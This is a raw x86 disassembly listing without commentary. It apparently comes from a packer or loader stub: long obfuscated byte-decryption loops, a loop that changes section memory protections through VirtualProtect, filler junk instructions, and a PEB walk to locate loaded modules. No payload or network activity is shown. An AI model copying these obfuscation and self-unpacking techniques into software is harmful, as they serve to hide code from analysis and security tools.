vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af4]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm3
vpbroadcastb xmm3, byte [0x417ae4]
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x437c80]
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x437c90]
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af5]
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af6]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [esp + 0x14]
vpxor xmm6, xmm6, xmm6
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [str.eeeeeeeeeeeeeeee]
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x437cc0]
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af7]
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpbroadcastb xmm2, byte [0x417ae3]
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x437cd0]
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmmword [0x417a90]
vpaddb xmm4, xmm0, xmm4
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x417860]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpbroadcastb xmm7, byte [0x417ae7]
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpcmpeqd xmm2, xmm2, xmm2
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm0, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm2
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpcmpeqd xmm7, xmm7, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [str.uuuuuuuuuuuuuuuu]
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpxor xmm6, xmm0, xmm2
vpbroadcastb xmm2, byte [0x417ae5]
vpaddb xmm4, xmm4, xmm6
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm2, xmm4
vpxor xmm2, xmm2, xmm2
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x437cf0]
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm7
vmovdqa xmm7, xmm3
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af8]
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpbroadcastb xmm3, byte [0x417aeb]
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af9]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm3
vpor xmm4, xmm4, xmm6
vpaddb xmm6, xmm4, xmmword [0x4178c0]
vpsllw xmm4, xmm4, 7
vpand xmm4, xmm4, xmm5
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm5, xmm6
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm2, xmm4
vpbroadcastb xmm2, byte [0x417ae3]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [0x437d00]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm3
vmovdqa xmm3, xmm1
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417afa]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417afb]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpbroadcastb xmm7, byte [0x417afc]
vpor xmm4, xmm4, xmm6
vpaddb xmm6, xmm4, xmmword [0x437d10]
vpsllw xmm4, xmm4, 7
vpand xmm4, xmm4, xmm5
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm5, xmm6
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417afd]
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmmword [0x417a90]
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vmovdqa xmm1, xmm2
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm7, xmm4
vpbroadcastb xmm7, byte [0x417ae7]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpbroadcastb xmm2, byte [0x417aeb]
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x417a70]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm2
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x437d20]
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417aff]
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b00]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b01]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm2
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417afe]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm2
vpbroadcastb xmm2, byte [0x417ae4]
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [0x437d30]
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [0x437d40]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b02]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x437ca0]
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b03]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpbroadcastb xmm7, byte [0x417aeb]
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [str.GGGGGGGGGGGGGGGG]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x437d60]
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpxor xmm2, xmm2, xmm2
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vmovdqa xmm1, xmm0
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [str.VVVVVVVVVVVVVVVV]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x437d80]
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b04]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm2, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b05]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmm0
vpbroadcastb xmm0, byte [0x417ae7]
vpsubb xmm4, xmm2, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmmword [0x417a90]
vmovdqu xmm2, xmmword [esp + 0x14]
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm2, xmm4
vpaddb xmm4, xmm4, xmmword [0x4177f0]
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm0, xmm6
vpand xmm4, xmm4, xmm0
vmovdqa xmm0, xmm1
vpbroadcastb xmm1, byte [0x417ae3]
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x417990]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b06]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vmovdqa xmm7, xmm1
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [0x4178d0]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpbroadcastb xmm1, byte [0x417ae7]
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x437c20]
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm6, xmm4, xmmword [str.tttttttttttttttt]
vpsllw xmm4, xmm4, 7
vpand xmm4, xmm4, xmm5
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm5, xmm6
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [str.5555555555555555]
vpaddb xmm0, xmm0, xmmword [0x417a80]
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpbroadcastb xmm1, byte [0x417b07]
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm1, xmm4
vpbroadcastb xmm1, byte [0x417ae4]
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpbroadcastb xmm1, byte [0x417af2]
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm1, xmm4
vmovdqa xmm1, xmm7
vpbroadcastb xmm1, byte [0x417b08]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm2, xmm4
vpaddb xmm4, xmm4, xmmword [0x437ba0]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm1, xmm4
vmovdqu xmmword [esp + eax + 0x1893], xmm4
add eax, 0x10
cmp eax, 0x10
jne 0x404d20
mov ch, 0xff
mov dh, 0x8e
mov dl, 0x20
xor eax, eax
xor esi, esi
mov byte [esp + 0x14], 0x20
nop dword [eax]
movzx ebx, byte [esp + eax + 0x18a3]
mov cl, 0xdd
add bl, 0x31
ror bl, 1
movzx ebx, bl
add ebx, eax
add bl, 0x13
rol bl, 6
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xb0
rol bl, 5
add bl, 0x13
rol bl, 5
add bl, 0xed
rol bl, 6
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 5
add bl, 0xda
rol bl, 5
movzx ebx, bl
add ebx, eax
add bl, 0xf0
rol bl, 6
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xe6
rol bl, 5
sub cl, bl
rol cl, 3
movzx ebx, cl
mov cl, dh
add ebx, eax
add bl, 0xb3
rol bl, 6
movzx ebx, bl
add ebx, esi
add bl, 0x38
rol bl, 2
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0x14
rol bl, 5
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 6
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xd3
rol bl, 1
sub cl, bl
add cl, 0x4c
rol cl, 3
movzx ebx, cl
mov cl, 0x17
add ebx, esi
add bl, 0x10
rol bl, 1
sub cl, bl
ror cl, 1
movzx ebx, cl
mov cl, 0xfc
add ebx, esi
add bl, 0x10
ror bl, 1
add bl, 0x8d
rol bl, 3
add bl, 0x5d
rol bl, 6
neg bl
rol bl, 2
sub cl, bl
ror cl, 1
add cl, 0x2b
rol cl, 5
add cl, 0xab
rol cl, 6
movzx ebx, cl
mov cl, ch
add ch, 3
add ebx, eax
add bl, 0xf0
rol bl, 2
movzx ebx, bl
add ebx, esi
add bl, 0x1a
rol bl, 6
sub cl, bl
mov bl, 0x66
rol cl, 1
sub bl, cl
mov cl, dl
add dl, 0xfd
ror bl, 1
not bl
rol bl, 1
sub cl, bl
mov bl, 0x68
rol cl, 4
sub bl, cl
mov cl, 0xfc
rol bl, 5
add bl, 0x1a
rol bl, 6
movzx ebx, bl
add ebx, eax
add bl, 0x8a
rol bl, 2
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xf
rol bl, 2
sub cl, bl
mov bl, 0x3a
ror cl, 1
sub bl, cl
mov cl, 0x92
rol bl, 2
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0xd8
rol bl, 1
movzx ebx, bl
add ebx, eax
add bl, 0xf0
rol bl, 2
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0x7a
rol bl, 1
sub cl, bl
rol cl, 3
neg cl
movzx ebx, cl
mov cl, 0x3c
add ebx, eax
add bl, 0xda
ror bl, 1
add bl, 0x9e
rol bl, 3
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xfa
rol bl, 1
sub cl, bl
movzx ebx, byte [esp + 0x14]
add byte [esp + 0x14], 0xfe
rol cl, 5
sub bl, cl
mov cl, 0xed
rol bl, 1
add bl, 0x1b
rol bl, 5
add bl, 0xf1
rol bl, 2
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xb8
ror bl, 1
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 2
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0x97
rol bl, 5
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0xef
rol bl, 5
movzx ebx, bl
add ebx, eax
add bl, 0xc9
rol bl, 1
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 6
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0xf0
rol bl, 3
not bl
rol bl, 2
add bl, 0x75
rol bl, 3
movzx ebx, bl
add ebx, esi
add bl, 0xf
rol bl, 3
sub cl, bl
ror cl, 1
add cl, 0x88
ror cl, 1
neg cl
movzx ebx, cl
mov cl, 0x5a
add ebx, esi
add bl, 0xf
ror bl, 1
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0x48
ror bl, 1
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 5
sub cl, bl
rol cl, 1
mov ebx, ecx
shl cl, 7
add bl, 0x54
shr bl, 1
or bl, cl
mov cl, 0xd5
neg bl
rol bl, 6
movzx ebx, bl
add ebx, esi
add bl, 0x26
rol bl, 1
sub cl, bl
mov bl, 0xf3
rol cl, 3
sub bl, cl
rol bl, 5
mov cl, bl
shl bl, 7
add cl, 0xcc
shr cl, 1
or cl, bl
neg cl
movzx ebx, cl
mov cl, 7
add ebx, esi
add bl, 0xf8
rol bl, 3
not bl
rol bl, 3
sub cl, bl
rol cl, 6
movzx ebx, cl
mov cl, 0x7e
add ebx, eax
add bl, 0xf0
ror bl, 1
add bl, 0x2b
rol bl, 1
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0xdf
ror bl, 1
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0x22
ror bl, 1
sub cl, bl
mov bl, 0x72
rol cl, 3
sub bl, cl
mov cl, 0x20
rol bl, 1
sub cl, bl
rol cl, 1
movzx ebx, cl
mov cl, 0x19
add ebx, esi
add bl, 0xb5
rol bl, 2
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 5
movzx ebx, bl
add ebx, eax
add bl, 0xf0
ror bl, 1
movzx ebx, bl
add ebx, esi
add bl, 0xe
rol bl, 6
sub cl, bl
mov bl, 0xfd
ror cl, 1
add cl, 0xea
rol cl, 3
sub bl, cl
mov cl, 0xc6
rol bl, 2
add bl, 0x47
rol bl, 6
add bl, 0xe7
rol bl, 5
movzx ebx, bl
add ebx, eax
add bl, 0xf0
rol bl, 6
add bl, 0x56
rol bl, 1
add bl, 0xac
rol bl, 3
sub cl, bl
mov bl, 0xb7
rol cl, 3
neg cl
rol cl, 3
sub bl, cl
mov cl, 0x11
rol bl, 1
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0x10
ror bl, 1
inc bl
ror bl, 1
add bl, dh
rol bl, 2
add bl, 0xc
rol bl, 1
add bl, 0x99
rol bl, 6
sub cl, bl
rol cl, 1
movzx ebx, cl
add ebx, esi
add bl, 0x3a
rol bl, 6
add bl, 0x5d
ror bl, 1
movzx ebx, bl
add ebx, esi
mov cl, bl
add bl, 0x84
shl cl, 7
shr bl, 1
or bl, cl
mov cl, 0xe2
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 3
movzx ebx, bl
add ebx, esi
dec esi
add bl, 0x45
rol bl, 2
sub cl, bl
mov bl, 0x1a
rol cl, 5
sub bl, cl
mov cl, dh
add dh, 2
rol bl, 6
sub cl, bl
mov bl, 0xf9
add cl, 0x59
rol cl, 6
sub bl, cl
mov byte [esp + eax + 0x18a3], bl
inc eax
cmp esi, 0xfffffff3
jne 0x405c10
cmp word [edi + 6], 0
mov ebp, dword [esp + 0x10]
je 0x406070
add ebp, 8
mov edi, 0x40
xor esi, esi
mov ecx, dword [ebp + 0x1c]
mov eax, 0x40
mov edx, 4
mov ebx, 2
test ecx, 0x20000000
cmove eax, edx
mov edx, ecx
test ecx, 0x40000000
not edx
cmove ebx, edi
test edx, 0x60000000
mov edx, 0x20
cmove ebx, edx
cmp ecx, 0xc0000000
mov ecx, 4
lea edx, [esp + 0x34]
cmovb eax, ecx
mov ecx, dword [ebp + 4]
cmovb eax, ebx
add ecx, dword [esp]
push edx
push eax
push dword [ebp]
push ecx
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp + 4]
inc esi
add ebp, 0x28
movzx eax, word [eax + 6]
cmp esi, eax
jb 0x406000
mov edi, 0xa1
imul esi
imul edx
imul eax
ror edx, 0x9b
mov eax, 0xc3
inc edi
sbb edx, 0x12
ror ebx, 0x70
bswap edx
not edx
neg edi
imul edi
dec edi
bswap edx
not eax
or edi, 0xbf
not ebx
not edx
imul ebx
rcr eax, 0xd
sbb edx, 0x48
neg ebx
inc ebx
and ebx, 0x4f
or esi, 0x63
dec eax
and edi, 0x7a
ror ebx, 0x7c
not ebx
add ebx, 0x24
not esi
bswap eax
dec ebx
sub esi, 0x2c
rol edx, 0x6b
neg eax
rol eax, 0xd8
not ebx
rcr edi, 0x81
neg eax
dec edi
imul ebx
mov edx, 0x48
bswap edx
rcr eax, 0x34
rol esi, 0x35
inc eax
dec esi
ror ebx, 0x9e
and edx, 0x2e
mov edx, 0xdf
sbb esi, 0x3e
or edx, 0xa8
dec ebx
mov edx, 0x2b
not ebx
rcl edx, 0x5b
rcr edx, 0xd8
inc eax
sub edi, 0x26
imul eax
neg edx
rol ebx, 0x12
sub edi, 0x6c
inc edi
mov edx, 0x64
mov esi, 0x41
not edx
imul ebx
neg ebx
dec ebx
mov edx, 0x72
and edi, 0x25
rcl edi, 0xa4
not edi
sbb eax, 0xe
dec ebx
ror esi, 0xc8
imul esi
bswap esi
neg ebx
sbb edx, 0xec
imul esi
ror edi, 0xd
rol esi, 0x11
rol esi, 0x59
sbb ebx, 0x8b
rcr esi, 0x80
sub esi, 0xfd
dec eax
imul ebx
ror esi, 0x18
inc eax
rcr eax, 0x37
dec edi
bswap eax
not esi
ror eax, 0x42
ror edi, 0xb8
inc edi
neg edx
and eax, 0xd
bswap esi
neg eax
rcr ebx, 0xf
not esi
not edi
imul eax
bswap ebx
sbb ebx, 6
rcl edx, 0xc5
sbb edi, 0xd7
rol edi, 0x74
dec eax
mov edi, 0xf
add esi, 0xfb
dec edi
mov eax, 0x40
rol eax, 0xd
inc eax
rcl esi, 0x8a
not esi
ror edx, 0x24
rol esi, 0x30
inc ebx
mov eax, 0x8d
bswap esi
sbb edi, 0x94
rol ebx, 0xf9
or ebx, 0x27
imul eax
or ebx, 0x6b
and eax, 0x69
rcl edx, 0x1d
neg esi
neg esi
not esi
and eax, 0x7d
rcr esi, 0x38
rol edx, 0xd2
mov esi, 0x44
not esi
rol edx, 0x13
sub eax, 0x35
inc edi
and edi, 0xd8
add edi, 0x95
add ebx, 0xe0
rcl esi, 0x29
mov ecx, dword fs:[0x30]
vmovups ymm0, ymmword [0x435f76]
vmovups ymm1, ymmword [0x435f5e]
vmovups ymm2, ymmword [0x435f3e]
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + 0x14]
imul ebx
rol eax, 0x7b
inc eax
inc edx
and ebx, 0x5d
dec esi
dec ebx
add edx, 0x4f
imul edi
rcl eax, 0x8f
rcr edi, 0xbb
not esi
dec ebx
not edi
dec ebx
sub eax, 0xa7
not eax
sub esi, 0x36
sub eax, 0x35
or ebx, 0xf0
mov eax, 0xac
imul ebx
ror esi, 0x83
neg edx
add esi, 0x42
not ebx
neg edi
bswap edx
add edi, 0x68
dec eax
neg eax
rcl esi, 0xd0
sbb edi, 0x40
rcl eax, 0x28
and edx, 0x94
neg esi
sub ebx, 0xfc
imul edx
neg eax
rcr edx, 0x51
and ebx, 0xe
inc eax
